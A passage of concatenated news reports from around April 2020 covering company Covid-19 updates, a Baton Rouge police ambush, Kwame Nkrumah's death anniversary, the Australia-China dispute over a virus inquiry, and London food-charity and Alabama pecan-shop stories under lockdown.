a male profile from DNA contained in the sexual assault kit, but no suspect was identified at that time. Sheriffs officials said the laboratory provided the results of the familial DNA analysis last November and that led detectives to Reed. They said Reed denied any involvement in the homicide. It was unclear Monday in Reed has a lawyer yet. If you were looking for the Charlestown Democratic Town Committee website and ended up here, try this Got news tips, gossip, suggestions, complaints?E-mail us: progressivecharlestown@gmail.com We strive to avoid errors in our articles. Our correction policy can be found here (Alliance News) - The following is a round-up of updates by London-listed companies on the impact of the Covid-19 pandemic, issued on Tuesday and not separately reported by Alliance News: Zenith Energy Ltd - oil and gas - Identified potential manufacturing facility to make personal protective equipment to export to African countries. Expects order for three manufacturing units capable of producing 50,000 masks per day, to be completed in May. In talks with partner in Republic of the Congo to build facility for hand sanitiser production. Erris Resources PLC - mineral exploration - Reports two high-grade gold results from sampling at Loch Tay project, Scotland. Notes prospecting and mapping work ceased temporarily due to lockdown measures in UK to halt the spread of Covid-19. UK Oil & Gas PLC - oil and gas - Reducing costs amid the lower oil price environment. Directors to take pay cut between 20% and 50% and looks to raise GBP1.3 million in placing of 637.5 million shares at 0.2 pence each. Active Energy Group PLC - biomass renewable energy - Says public comment period for its CoalSwitch plant permit in North Carolina extended to May 27, due to Covid-19. Sylvania Platinum Ltd - platinum group metals miner - Says third quarter to March 31 net revenue up 56% quarter-on-quarter to USD43.6 million. Earnings before interest, tax, depreciation and amortisation up 83% to USD32.0 million. Notes lockdown measures in South Africa hit operations with sites placed on care and maintenance until curbs end. Goldplat PLC - gold producer - Says Goldplat Recovery Ltd operations in South Africa on care and maintenance amid government-imposed lockdown. South Africa operations achieved third quarter operating profit of GBP843,000. For nine months to March 31, SA operating profit was GBP3.4 million, up from GBP1.5 million a year before. Ghana operations not forced to close due pandemic but not running at full capacity. Company benefiting from higher gold spot price. Jardine Matheson Holdings Ltd - conglomerate - Says first quarter trading conditions challenging due to Covid-19. Warns interim results to be "significantly reduced" year-on-year. Jardine Motors first quarter earnings down, Dairy Farm sees boost in grocery demand due to stockpiling but health & beauty sales weaker. Mandarin Oriental struggles as hotels closed due to lockdowns. Sure Ventures PLC and Pires Investments PLC - investors - Invest in AI firm Buymie, which allows consumers to place online grocery orders. Sure and Pires note Covid-19 has caused increase in demand for online grocery shopping. Aberdeen Standard European Logistics Income PLC - property investor - Notes some tenants experiencing financial difficulty due to pandemic, but three of top tenants by income are in food and pharma sectors and have seen demand boost. Says first quarter rent paid in full, received 67% of second quarter rent so far. Picton Property Income Ltd - property investor - Cuts quarterly dividend payments by 29% to 0.625p per share with immediate effect. Distribution Finance Capital Holdings PLC - lender - Receives temporary waiver from senior and senior mezzanine loan facilities. Says own loan book performing well and stable. Notes demand at some industrial clients to fall due to Covid-19. Cuts costs, including redundancies and furloughs. Remains committed to bank license application. XPS Pensions Group PLC - pensions advisory - Says full-year results to be in line with expectations, with revenue up 9%. Expects demand for discretionary services to continue as pension trustees look for advice amid virus crisis. Has not furloughed any staff. Universe Group PLC - retailer payment and loyalty programmes systems - Expects 2019 revenue to rise 13% to GBP22.4 million. Notes its customers are retailers providing essential services. Says hard to forecast impact of Covid-19 with certainty. Panoply Holdings PLC - IT service management - Expects revenue and adjusted EBITDA in line with expectations for year ended March 31. Working with a number of clients providing Covid-19 emergency response. Implements hiring freeze but yet to furlough any staff. Will not pay a dividend for financial 2020. Smartspace Software PLC - office space management software and hospitality and ticketing platform - Notes SwipedOn New Zealand subsidiary adds function to allow users to manage Covid-19 and enforce social distancing. New Zealand has begun reopening businesses providing they can track visitors and employees, boosting demand for SwipedOn. RTC Group PLC - recruiter - Says UK general recruitment and smart-meter installation activities hit by lockdowns but international activities largely unhurt. Reducing cost base, deferring non-essential spend and making use of UK furlough scheme. No dividend to be proposed for 2020 and board and senior management take 20% salary cut. Fusion Antibodies PLC - antibody discovery - To raise GBP3.0 million in placing with funds used to go towards existing oncology targets and Covid-19 work. Says results for year to March 31 in line with market expectations, with revenue of GBP3.8 million. EKF Diagnostics Holdings PLC - healthcare products - In final stages of establishing UK production line for PrimeStore MTM sampling collection kit. New production line could produce 12,500 sample collection tubes per day. Notes demand for rimeStore MTM boosted by Covid-19. Angle PLC - liquid biopsy - Says non-essential screenings and surgical procedures in cancer treatment postponed due to lockdowns globally, highlighting need for Angle's CTC liquid biopsy product. Used lockdown period to progress written documentation aspect of US Food & Drug Administration application. Grand Vision Media Holdings PLC - digital media - Says first quarter revenue reduced by Covid-19 and restrictions of movement. Says 2019 revenue fell by a third amid sales hit from Hong Kong civil unrest last year. By Eric Cunha; ericcunha@alliancenews.com Copyright 2020 Alliance News Limited. All Rights Reserved. SINGAPORE, April 28, 2020 /PRNewswire/ -- Kenon Holdings Ltd. (NYSE: KEN), (TASE: KEN) ("Kenon") announced today that it will be releasing its full year 2019 results on Thursday, April 30, 2020. Kenon will also host a conference call on the same day, starting at 9:00 am Eastern Time. Kenon's and OPC Energy Ltd.'s management will host the call and will be available to answer questions after presenting the results. To participate, please call one of the following teleconferencing numbers. Please begin placing your calls at least 10 minutes before the conference call commences. If you are unable to connect using the toll-free numbers, try the international dial-in number. Singapore: 31583851 US: 888-407-2553 Israel: 03-9180644 UK: 0800-917-5108 International: +65-31583851 At: 9:00 am Eastern Time, 6:00 am Pacific Time, 2:00 pm UK Time, 4:00 pm Israel Time and 9:00 pm Singapore Time. For those unable to participate, the teleconference will be available for replay on Kenon's website at http://www.kenon-holdings.com/ beginning 24 hours after the call. Contact Info Kenon Holdisngs Ltd. Jonathan Fisch Director, Investor Relations [email protected] Tel: +44 20 7659 4186 SOURCE Kenon Holdings Ltd. Today in History, exactly 48 years ago, on April 27, 1972, Kwame Nkrumah, the deposed President of Ghana and a great Pan-Africanist died in Bucharest, Romania after six years in exile in Guinea far away from his birthplace of Nkroful at the age of 62. Kwame Nkrumah played a pivotal role in the formation of the African Union (A.U) previously called the Organization of African Unity (O.A.U) and led his country to independence in 1957. President Kwame Nkrumah was unconstitutionally ousted from office through a military coup. The Coup was launched by the National Liberation council (NLC) with the code name Operation Cold Chop, on February 24, 1966 whiles he was in Peking (todays Beijing) en route to the Vietnamese capital, Hanoi, with plans to end the American war in Vietnam. Kwame Nkrumah arrived in Conakry, Guinea after being invited by Sekou Toure just after the Military Coup that unconstitutionally ousted his Government from Power. In distant Bucharest (Romania), April 27, 1972, far from his green and lovely native land and from his own people, Kwame Nkrumah died of cancer. His death, of cancer, was announced by President Seim Toure of Guinea, one of the militant nationalists closest friends. Mr. Nkrumah had been living in Guinea since his overthrow in a military coup in 1966. Several African Heads of State and the representatives of 25 other countries paid their last tributes to Ghanas former President, Dr. Kwame Nkrumah, on Saturday, May 13, 1972 after a funeral ceremony in Conakry, the Guinean capital. Also represented at the funeral ceremony was Ghanas new ruling military body, the National Redemption Council. But in Accra, there was no word of when Dr. Nkrumahs body would be flown back for burial and there were some misgivings that it would not be returned by the Guineans. The return of his body to Ghana followed lengthy negotiations between Ghanas military rulers and the government of Guinea. Dr. Kwame Nkrumah, was buried at his home town of Nkroful, 240 on Sunday 9 July, 1972. While the tomb still remains in Nkroful, his remains were transferred to a large national memorial tomb and park in Accra, Ghana. Today, the place is known as Kwame Nkrumahs Mausoleum and has become a tourist destination for Ghanaians and those in the diaspora. The idea of erecting a monument in honour of Nkrumah dates back to 1972, when the African Students Union sent a memorandum asking the Government of Guinea, then under President Sekou Toure, to send the mortal remains of the Ghanaian leader to Ghana only if the military leaders at that time denounced coup detat and re-erected the statue of Nkrumah which was destroyed during the 1966 coup. Although the remains were later returned to Nkroful, his birthplace, it was not until 1992, that the image of Nkrumah was restored on the Old Polo Grounds during which the erstwhile Provisional National Defence Council (PNDC), decided to build the Kwame NKrumah Mausoleum. Source: Daily Graphic Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Delhi Deputy Chief Minister Manish Sisodia on Tuesday (April 28) told Union HRD Minister Ramesh Pokhriyal 'Nishank' that it was not feasible to conduct board exams of classes 10 and 12 due to the lockdown imposed to contain coronavirus COVID-19 pandemic. Manish Sisodia made the recommendations during a meeting of state education ministers chaired by the Human Resource Development (HRD) minister. ' Delhi Deputy Chief Minister said, "Not feasible now to conduct pending board exams for class 10, 12. Students should be promoted on the basis of performance in internal exams like it was done for classes 9, 11," adding "Curriculum for the next session be reduced by 30 per cent, exams like JEE, NEET be conducted on the basis of the reduced syllabus." Sisodia took to social media and suggested that students should be promoted on the basis of performance in internal exams like it was done for classes 9, 11. 1. CBSE 10 12 internal exams 9 11 . 2/4 Manish Sisodia (@msisodia) April 28, 2020 Curriculum for the next session be reduced by 30 per cent and exams like JEE, NEET should be conducted on the basis of the reduced syllabus, Sisodia told HRD Minister. Notably, universities and schools across the country have been closed since March 16 when the central government announced a countrywide classroom shutdown as one of the measures to contain the coronavirus outbreak. A nationwide lockdown was later announced on March 24, which has now been extended till May 3. Earlier this month, the Central Board of Secondary Education (CBSE) had announced that it will be conducting pending board exams for only 29 subjects, which are crucial for promotion and admission in undergraduate programmes. A man accused of murder ambushed two officers sent to interview him about a killing hours earlier, then stood over a dead officers body while continuing to shoot him, according to police documents released Monday. Ronnie DeWayne Kato Jr. of Baton Rouge had threatened years earlier to kill police if his girlfriend called them, one statement said. The second ambushed officer remained in critical condition Monday afternoon but was alert and talking, said Sgt. L'Jean McKneely Jr., a Baton Rouge police spokesman. So he's doing a lot better and his condition may be upgraded, he said. Police released two statements filed for the arrest of 36-year-old Kato, who was taken into custody after a standoff that followed the second shooting Sunday. Police have not identified the officers, describing one as a 21-year law enforcement veteran and the other as a seven-year officer. Their names may be released Tuesday, McKneely said. Kato was arrested on two counts of murder, six counts of attempted murder, five counts of home invasion and one of aggravated battery. McKneely said he did not know whether Kato has an attorney who could speak for him. Attempts to reach Kato's family members were not successful. According to the affidavit supporting the first warrant for Kato, his girlfriend of 18 years had taken refuge at her mother's house after an argument, went out because her car horn was beeping and went back in when she saw Kato. He kicked down the door and pistol-whipped her. Her mother stopped him, but he went out and came back in with a rifle, killing a man one of five adults living there. Police identified the man as Curtis Richardson, 58, news outlets reported. The second statement said the officers were sent for a knock and talk with Kato, and went to the backyard to keep him from escaping that way. One witness saw Kato there just before the shooting and another a relative saw him there immediately afterward, the affidavit said. Story continues Evidence, including what appeared to be close-contact wounds, indicated that Kato had stood over the dead officer's body and kept shooting him, the statement said. It noted that both shootings used the same type of gun and quoted Kato's girlfriend as telling police in 2017 that he would Gavin Long police if she filed a report about him. Gavin Eugene Long was a member of a black anti-government movement who shot six police officers in 2016 in Baton Rouge, killing three and wounding the others. He was arrested after an hourslong standoff in which shots were exchanged with a SWAT team. That ambush occurred two days after a white officer shot and killed a black man in Louisiana's capital. Kato did not have any known links to such groups, McKneely said. The threat described in the affidavit is the only indication of possible violence in Kato's criminal history, and the 2017 incident apparently did not result in any charges against him, The Advocate reported. It said East Baton Rouge court records show drug possession cases in 2001 and 2010, with charges dropped in the second case, and a traffic ticket in 2013. Civil court records also show no signs that Katos girlfriend or anyone else had requested temporary protection from abuse, the newspaper reported. ___ McConnaughey reported from New Orleans and Lauer from Philadelphia. Press release Regulated information Inside information 28 April 2020, 7:30 a.m. CEST IRVINE, CA, and HERSTAL, BELGIUM 27 April 2020 MDxHealth SA (Euronext Brussels: MDXH) (the "Company" or "MDxHealth") a commercial-stage innovative molecular diagnostics company, today invites the holders of securities issued by the Company to its annual and extraordinary general shareholders' meetings that will be held on Thursday 28 May 2020 at 10:00 a.m., Belgian time. The items on the agenda of the annual and extraordinary general shareholders' meetings include the proposed approval of a number of resolutions relating to the financial year ended on 31 December 2019, as well as the renewal of the authorisation to the board of directors to increase the share capital within the framework of the authorised capital and the adoption of an amended and restated version of the articles of associations in accordance with the provisions of the Belgian Companies and Associations Code and reflecting some technical changes. Exceptionally, and in accordance with the Belgian Royal Decree no. 4 of 9 April 2020 on miscellaneous provisions relating to co-ownership and corporate and association law in the context of the fight against the COVID-19 pandemic, the board of directors of the Company has decided to hold the annual and extraordinary general shareholders' meetings behind closed doors without the physical presence of the holders of securities of the Company and their representatives. As a result, the shareholders of the Company can exercise their voting rights only by voting by mail or by means of a written proxy to the chairman of the board of directors. Furthermore, holders of securities of the Company can only exercise their right to ask questions related to the items on the respective agendas of the annual and extraordinary general shareholders' meetings by means of written questions prior to the respective meetings. For more information, please see the convening notice. Story continues In order to participate to the annual and extraordinary general shareholders meetings of the Company, the holders of securities issued by the Company must comply with Article 7:134, 2, first indent of the Belgian Companies and Associations Code and the articles of association of the Company, and fulfill the formalities described in the convening notice. The convening notice, forms and other documents relating to the annual and extraordinary general shareholders meetings can be consulted on the Companys website. As postal services may be disrupted due to the COVID-19 pandemic and as the deadline for the submission of voting by mail forms, proxies and written questions is a Sunday during which there is usually no ordinary postal service, the Company recommends the holders of its securities to use e-mail for all communication with the Company regarding the general shareholders' meetings. The Company's email address for such communication is: agsm@mdxhealth.com. About MDxHealth MDxHealth is a multinational healthcare company that provides actionable molecular diagnostic information to personalize the diagnosis and treatment of cancer. The Company's tests are based on proprietary genetic, epigenetic (methylation) and other molecular technologies and assist physicians with the diagnosis of urologic cancers, prognosis of recurrence risk, and prediction of response to a specific therapy. The Company's European headquarters are in Herstal, Belgium, with laboratory operations in Nijmegen, The Netherlands, and US headquarters and laboratory operations based in Irvine, California. For more information, visit mdxhealth.com and follow us on social media at: twitter.com/mdxhealth, facebook.com/mdxhealth and linkedin.com/company/mdxhealth. For more information: MDxHealth info@mdxhealth.com Important information The MDxHealth logo, MDxHealth, ConfirmMDx and SelectMDx are trademarks or registered trademarks of MDxHealth SA (the "Company" or "MDxHealth"). All other trademarks and service marks are the property of their respective owners. This press release contains forward-looking statements and estimates with respect to the anticipated future performance of MDxHealth and the market in which it operates. Such statements and estimates are based on assumptions and assessments of known and unknown risks, uncertainties and other factors, which were deemed reasonable but may not prove to be correct. Actual events are difficult to predict, may depend upon factors that are beyond the Company's control, and may turn out to be materially different. MDxHealth expressly disclaims any obligation to update any such forward-looking statements in this release to reflect any change in its expectations with regard thereto or any change in events, conditions or circumstances on which any such statement is based unless required by law or regulation. This press release does not constitute an offer or invitation for the sale or purchase of securities or assets of MDxHealth in any jurisdiction. The securities referred to herein have not been and will not be registered under the U.S. Securities Act of 1933, as amended from time to time (the "U.S. Securities Act"), and the securities may not be offered or sold in the United States (as defined in Regulation S under the U.S. Securities Act) unless these securities are registered under the U.S. Securities Act, or an exemption from the registration requirements of the U.S. Securities Act is available. The Company and its affiliates have not registered, and do not intend to register, any portion of the securities concerned in the United States, and do not intend to conduct a public offering of securities in the United States. Attachment Ambassador Cheng Jingye slammed Australia's push for an inquiry into the origins of COVID-19 Australia has asked the Chinese ambassador to explain his 'economic coercion' threat made in response to Canberra's push for an inquiry into the source of the coronavirus. Ambassador Cheng Jingye said on Monday Australia's push for an inquiry into the origins of the virus could result in China rejecting Australian products. 'Maybe also the ordinary people will say, ''why should we drink Australian wine or to eat Australian beef?'',' he told the Australian Financial Review. Australia responded quickly, informing the ambassador that his comments were out of line. 'The government has made our displeasure with those remarks known,' Trade Minister Simon Birmingham told reporters in Adelaide on Tuesday. China accounts for 26 per cent of Australia's total trade, worth around $235 billion in 2018/19, and is the biggest single market for Australian exports such as coal, iron ore, wine, beef, tourism and tertiary education. But the Morrison government stood firm in its decision to back the calls for a global inquiry into how the virus was able to spread from its epicentre in Wuhan, China, and cause a global pandemic. Senator Birmingham said Australia was a 'crucial supplier' to China for imports and energy helped power much of China's manufacturing growth and construction. China is Australia's largest trading partner. Mr Jingye said Chinese citizens may reject Australian exports and industries if the probe goes ahead (pictured: Chinese nationals on a holiday in Sydney) Australia's tourism industry would be heavily impacted if Mr Jingye's statement is correct. Pictured: Chinese tourists in Sydney 'COVID-19 has seen hundreds of thousands of people die around the world, millions of people lose their jobs, billions of people face massive disruption to their lives. 'The least the world can expect is a transparent inquiry into the causes of COVID-19 so that we can understand how best to prevent a repeat episode any time in the future.' Birmingham said on Tuesday that Ambassador Cheng had been called by the secretary of the Department of Foreign Affairs and Trade to explain his comments. 'Australia is no more going to change our policy position on major public health issues because of economic coercion, or threats of economic coercion, than we would change our policy position in matters of national security,' Mr Birmingham said on ABC radio. Senator Simon Birmingham said Australia would not give in to economic coercio 'We won't be changing our public policy position, on such a serious public health matter, in the face of any threats of coercion from any other nation.' Mr Birmingham told Sky News the Australian 'government's displeasure was made known' in the phone call. The Chinese embassy took the extraordinary step of publishing a summary of the conversation on its website later on Tuesday, which said Ambassador Cheng had 'flatly rejected the concern expressed from the Australian side'. Ambassador Cheng also said 'the fact cannot be buried that the proposal is a political manoeuvre,' according to the statement, which added that Australia was 'crying up wine and selling vinegar' when it said the proposed review would not target China. Australia's trade relationship with China - 2018/19 EXPORTS Iron ores & concentrates: $63.1billion Natural gas: $16.6billion Coal: $14.1billion Gold: $5billion IMPORTS Telecom equipment: $8.8billion Computers: $6.6billion Furniture and mattresses: $3.4billion Refined petroleum: $2.7billion Advertisement China's threat comes in the face of the largest economic shock Australia has seen since the peak of the Great Depression in 1931. Businesses and jobs will be lost permanently as a result of the global pandemic. Treasury predicts unemployment to peak at 10 per cent. The jobless rate was higher during the economic devastation through the 1930s, but the numbers steadily rose over the course of years rather than months. Treasury boss Steven Kennedy says the virus is having an unprecedented impact on economies worldwide. 'We have never seen an economic shock of this speed, magnitude and shape, reflecting that this is both a significant demand and supply shock,' he told a Senate committee in Canberra on Tuesday. An aerial view shows the P4 laboratory at the Wuhan Institute of Virology in Wuhan - the city where the World Health Organisation believes the virus originated Dr Kennedy believes the crucial financial ties between China and Australia can help both countries recover from the economic crisis. 'There is great economic return to Australia in continuing to support Chinese development and growth through our trade relations,' he said. Foreign investment rules have been temporarily tightened to give Treasurer Josh Frydenberg more oversight of overseas capital being tipped into Australia. Meanwhile, Labor leader Anthony Albanese backed the government's calls for a review into the origins of COVID-19. Vendors wearing face masks as they offer prawns for sale at a market in Wuhan where reports of the virus first emerged in December 'This is so it never happens again,' he told ABC radio. Mr Albanese says Australia's relationship with China is important and must be nurtured. 'It's important that an element of that relationship be transparency. Australia wants a positive relationship with China but it's got to be built on a level of trust and transparency.' The origin of the virus is still unknown, but the World Health Organisation believe it stemmed from a live animal wet market in Wuhan, China. The virus has killed more than 211,000 people worldwide. This photo taken on April 15, 2020 shows a worker wearing a face mask as he throws ice into a pool with fish at a shop at a market in Wuhan where the first reports of the virus emerged in December China's $135billion revenge: How Beijing could 'decimate' Australia's economy as punishment for Scott Morrison's attempts to ban wet markets and push for a coronavirus inquiry By Charlie Moore for Daily Mail Australia Australia's economy would be 'decimated' if trade with China decreased as relations hit new lows over the coronavirus crisis, experts have warned. The federal government's calls for a ban on wet markets and an inquiry into the virus origins - as well as repeated suggestions that China covered up the spread - have infuriated Beijing. Last week the the Chinese Embassy called Home Affairs Minister Peter Dutton 'pitiful,' 'ignorant' and a US 'parrot' after he told China to 'answer questions' about how coronavirus started. And on Sunday Chinese Ambassador to Australia Jingye Cheng warned that Chinese consumers may stop buying Australian products in revenge. The dispute comes after a torrid year for Australia-China relations saw clashes over political interference, human rights abuses in western China and Huawei 5G equipment. Former Australian ambassador to China Geoff Raby told Daily Mail Australia that diplomatic relations are 'at their lowest point since they began 46 years ago'. China provides 16 per cent of our tourists and 38 per cent of our international students who contribute tens of billions to the economy. Pictured: Tourists at the Sydney Opera House The federal government's calls for a ban on wet markets and an inquiry into the virus origins - as well as repeated suggestions that China covered up the spread - have infuriated Beijing. Pictured: A wet market in Nanming, China Dr Raby slammed the Morrison government's brazen approach and said public calls for coronavirus inquiry and a ban on wet markets would only 'harden attitudes on both sides.' Now there are grave fears the diplomatic deterioration could have serious consequences for everyday Australians. As our biggest trading partner by far, China buys a third of our exports, including iron ore, coal and beef, supporting hundreds of thousands of jobs. China also provides 16 per cent of our tourists and 38 per cent of our international students who contribute tens of billions to the economy. Jane Goolley, Professor at the ANU College of Asia and the Pacific, said the government should not 'bite the hand that feeds us'. 'It's shocking that relations with China are going from bad to worse and no-one seems to mind,' she said. Professor Goolley said Mr Morrison has no hope of forcing China to ban wet markets, which are a crucial source of food and income for millions. On Sunday Chinese Ambassador to Australia Jingye Cheng (pictured) warned Chinese consumers may stop buying Australian products in revenge The outbreak erupted in Wuhan, China in December. Pictured: Staff members line up as they prepare to spray disinfectant at Wuhan Railway Station in March 'There is zero chance that what we say has any impact,' she said. 'We will only infuriate Chinese government because they so strongly object to foreign interference. 'At best the government's approach will make no difference and at worst the Chinese government will decide to contract the relationship with Australia.' China could punish Australia with official economic sanctions or, more likely, through an unofficial campaign telling Chinese people to boycott Australian goods and services, she said. Australia's export markets in 2019 1. China: $135 billion (33% of total Australian exports) 2. Japan: $36 billion (9%) 3. South Korea: $21 billion (5%) 4. United Kingdom: $16 billion (3.8%) 5. United States: $15 billion (3.7%) Source: Worldstopexports.com Advertisement Beijing's recent track record of economic coercion includes encouraging a boycott of South Korean cars after the country deployed a US missile shield in 2017 and a ban on Norwegian salmon after Chinese rebel Liu Xiaobo won the Nobel Peace Prize in Oslo that same year. Australia and China have had a free trade agreement since 2015 but some exporters have still run into difficulties as relations have soured. In 2018 Beijing imposed new customs regulations on Australian wine resulting in shipments being held up in Shanghai. And last year - after Canberra stripped Chinese businessman Xiangmo Huang of his visa - major ports prolonged clearing times for Australian coal to at least 40 days, claiming the delay was due to 'normal' safety checks. Professor Goolley warned this type of manoeuvering could resume if the federal government continues to upset the Chinese government. 'Beijing could find ways to choke off parts of trading and relationship,' she told Daily Mail Australia. 'For example, it could increase propaganda persuading students and tourists not to come here. 'Some say Beijing could turn off the tap and choke the Australian University Sector. 'It doesn't want to do this because it wants its citizens to benefit from Australian education - but if it did that would cost thousands of jobs in our universities and leave the sector decimated. 'Even if the Chinese government does nothing, we could lose the market if Chinese people perceive our government as being anti-China,' she warned. Ambassador Cheng raised the prospect of a consumer backlash on Sunday, telling the AFR: 'The tourists may have second thoughts. Prime Minister Scott Morrison (pictured) has repeatedly called for a coronavirus investigation and has demanded changes in the 'upper echelons' of the World Health Organisation after it praised China's handling of the outbreak 'The parents of the students would think whether this is the best place to send their kids. 'It is up to the people to decide. Maybe the ordinary people will say "why should we drink Australian wine? Eat Australian beef?" Former Liberal Party leader John Hewson also warned the federal government's hard line on China could be risky given that Australia is 'clearly the most dependent economy on China'. Diplomatic relations are at their lowest point since they began 46 years ago Ex-ambassador to China Geoff Raby Mr Morrison has called the re-opening of the wet market where the virus spawned 'unfathomable' and has demanded changes in the 'upper echelons' of the World Health Organisation after US President Trump cut funding because it praised China's handling of the outbreak. 'These sort of piecemeal statements and initiatives can be counterproductive, especially if they are easily identified as 'sucking up to the US', or 'doing the US's bidding', and so risk unwanted Chinese responses that could be detrimental to our interests more broadly,' Dr Hewson told Daily Mail Australia. He said the answer was not to 'suck up to China' but rather focus on developing a 'clear, definitive, China Policy consistent with a hard-headed assessment of our national interest.' 'I believe that we will earn their respect over time by clearly and consistently acting and advocating in terms of our national interests, principle and values,' he said. Dr Raby voiced similar concerns on the public approach the Morrison government has taken to calling out China when other key allies such as Britain and France have stayed quiet. Dr Raby said Canberra should 'use the crisis the repair relations with Beijing' because Australia will need China to help the economy recover after crippling lockdowns pushed almost a million Aussies out of work. Pictured: Centrelink queues He said desires for a coronavirus inquiry were 'perfectly reasonable' but 'this can only be done on the basis of international cooperation' because China will vigorously defend its sovereignty. 'The approach by The Australian Government is hardly the way to build such a consensus. Australia should be quietly discussing such things with like-minded countries, not publicly leading the pack.' Dr Raby said Canberra should 'use the crisis the repair relations with Beijing' because Australia will need China to help the economy recover after crippling lockdowns pushed almost a million Aussies out of work. 'We should be talking about how to ensure something like this doesn't happen again and how we can collectively repair our economies,' he said. 'Australia will definitely need China to be part of the solution for the economic damage it is experiencing.' Showing how important China is to Australia, a report by Deloitte in 2017 found that half a million Aussies would lose their jobs if China's growth rate fell from 6.5 per cent to less than 3 per cent. Analysts have long warned against the dependency on one country and have touted India and Indonesia as huge markets - but it will take years for demand in those countries to match China's. Professor Goolley said: 'We need China now more than ever.' T he anxiety felt by thousands of people threatened by hunger since lockdown is a hidden phenomenon that mostly takes place behind closed doors, but today vulnerable Londoners spoke out about how food from our appeal partner, The Felix Project, has been a lifeline. A mother and son, deemed high risk and having to self-isolate, told how Felixs deliveries had lifted their spirits in the face of hopelessness. A nurse said meals cooked with fresh Felix produce made her feel that little bit stronger. All told of the relief at being able to access healthy food, thanks to The Felix Project, the biggest food redistributor in the capital, which has quadrupled daily deliveries to 40 tonnes since the outbreak of the virus. Yesterday, in a sign of further upward spiralling demand, The Felix Project broke its own record, ferrying an extraordinary 44 tonnes to 73 schools and charities, with the heftiest deliveries going to 11 community super-hubs set up by local authorities as part of a pan-London effort to tackle food poverty in the wake of Covid-19. Felix, on its own, is now supplying more than 100,000 meals a day, up from 20,000 at the start of the outbreak. This is what some of the beneficiaries, volunteers and charities had to say. Family at high risk Karen Barnes, 36, suffers from type 1 diabetes, an underactive thyroid and chronic back pain, and is a carer for her son, Aidan, six, who has health issues that affect his immune system We receive two boxes of Felix-supplied food a week, from Enfield Children and Young Persons Services, as my son and I are both categorised as high-risk. We felt a bit hopeless about being in isolation. I dont have much family and you dont want to be a burden on other people. So these boxes are a lifeline. Its exciting when they come as were on our own. The person who delivers them leaves them on my doorstep and we chat. Its a nice interaction. The NHS worker Kim Pallas, 38, is a nurse working 12-hour shifts at Barnet Hospital. She picks up dozens of cooked meals to give to her colleagues, made each day by BreadnButter, a charity supplied by The Felix Project All the patients in our hospital ward are coronavirus patients so its been difficult very emotional and overwhelming at times. Youre just so grateful when fresh, healthy food is put in front of you and you dont have to think about doing all the cooking. The support of the food charities is making a massive difference to people like us. To know people care enough about you to do this makes you feel that little bit stronger to cope with all thats going on during the crisis. It makes you feel valued. Family living on the edge Magda Bozek, 37, is a mother of two and part-time administrator at Southgate College. She struggles to make ends meet and has claimed universal credit since her husband died suddenly from lung cancer five months ago I collect food parcels from my childrens school in Enfield once a week. We are in a very hard situation. When my husband died, my life was turned upside down. I was alone but had to look after my 11-year-old son David and six-year-old daughter Ola. I work so Im lucky but life is expensive. Felix is a huge help and now that we are in isolation so important. We leave the house once a week to collect our parcel so its the best part of our week. Domestic abuse survivor Justine, 38, is a mother-of-four who escaped an abusive relationship and lives in temporary housing, claiming universal credit I first heard about The Felix Project through my six-year-old sons school and have been picking up weekly packages since the end of last year. At the moment, we are in isolation and things are tough, but Felix is a lifeline. I have used food banks in the past but they do not provide fresh food. There are luxury items in my Felix boxes that I could never afford, like Innocent Smoothies and mozzarella cheese. Picking up our box from the school is a weekly highlight. I dont know what we would do without it. The charity James Quayle, 30, is manager of North Paddington Food Bank Lucy Young Before coronavirus we were feeding 100 households per week but now we are supporting more than 600 families. We used to be open one day a week with The Felix Project delivering a single truckload of fresh produce, but since Covid we are open six days a week. We have increased our volunteers from a couple of dozen to almost 300 and I am working 14-hour days. The only other comparable thing was the start of the Syrian refugee crisis when I was on Lesbos and witnessed people coming off boats. Similarly, this feels like a tidal wave. The volunteers Edward Pereira, Haringey Play Association Demand for our help since lockdown has doubled from 30 to 60 families. People could come and help themselves every Thursday and there was always enough food for everyone, but now weve got a queue of people around the corner. Tensions are high and emotions are magnified. Without The Felix Project a lot of people in Tottenham would be in real trouble. James Smart, 36, Made Up Kitchen, Hackney We deliver 500 meals a week thanks to 12 crates of surplus food from Felix. The crisis has hit us all. Priester Pecan Company remains open, despite the coronavirus pandemics wrath on restaurants and businesses throughout Alabama. But the iconic candy and peanut shop 35 miles south of Montgomery off Interstate 65, has suffered from a falloff of customers. Gone are most of the coastal Alabama-bound Spring Break travelers who flock inside the rustic shop to look for a take-home gift, a bag of pecans, ice cream or treats. Also gone are the celebrated free samples, which helps keep the visitors inside the shop as they peruse the goodies ahead of making a purchase. We have not been sampling, said Ellen Ellis Burkett, who manages the family-owned store that faces I-65 in Fort Deposit. It was one of the first things we were limiting or not doing at all. Were evaluating how to bring that back. We sure hope to bring it back as its a big part of our store. But were looking to see at ways to do that. Safety is primary. Bathroom access and safety Burkett said that the visitors who stopped in have been happy to see them open. One of the reasons: To use the bathroom. We have had such an overwhelming appreciation from the people who have come in because they couldnt find a place to use a restroom, said Burkett. Fast food restaurants, many of which are located off I-65, are closed except for takeout or delivery orders. Priesters Pecans was allowed to remain open because its part of a food processing operation which was deemed an essential service through the April 3 stay at home order issued by Alabama Gov. Kay Ivey. It makes us feel good to be here even on the days where its unbelievably slow, said Burkett. Burkett said she is optimistic ahead of Iveys announcement at 11 a.m. on Tuesday, in which she and many business owners throughout Alabama are hopeful for some sort of announcement that there will be a reopening of the economy. Burkett said she has had to lay off almost all 20 of her full-time staff since last month due to the dwindling traffic, but believes that every one of them can come back by next week. The store also has about 20 part-time employees who will be brought back gradually, she said. A small staff has remained to keep the store operating during the past couple of weeks. Inside the store, six-foot markings are keeping visitors separated from one another, cash registers are spaced out to avoid larger gatherings, and dining tables are spread out so that people can sit safely at a distance from one another. Burkett said shes not certain what yet to do with the rocking chairs that are placed on the stores wide and welcoming front porch. Im debating how to rearrange them, she said. Online sales rise Priesters Pecan, a business that started 85 years ago at a Texaco gas station, is more than just a popular country store. Operations also include pecan cracking and shelling, candy manufacturing, sales, and the direct mail and wholesale marketing of products. The shelling plant is also located in Fort Deposit, a short drive from the retail shop. Thomas Ellis, Ellens brother, runs the manufacturing operations. He said that they had to lay off all 52 of their workers on April 1, out of caution while concerns about the pandemic were at their highest. Gradually, staff has returned to about 40 employees. A full team is expected to return soon, said Ellis. Our employees are being questioned about exposure to coronavirus and were trying to make everyone conscientious of the symptoms, he said. We are taking the temperature of everyone who comes into our building. Direct-to-consumer mail business is booming, Ellis said, 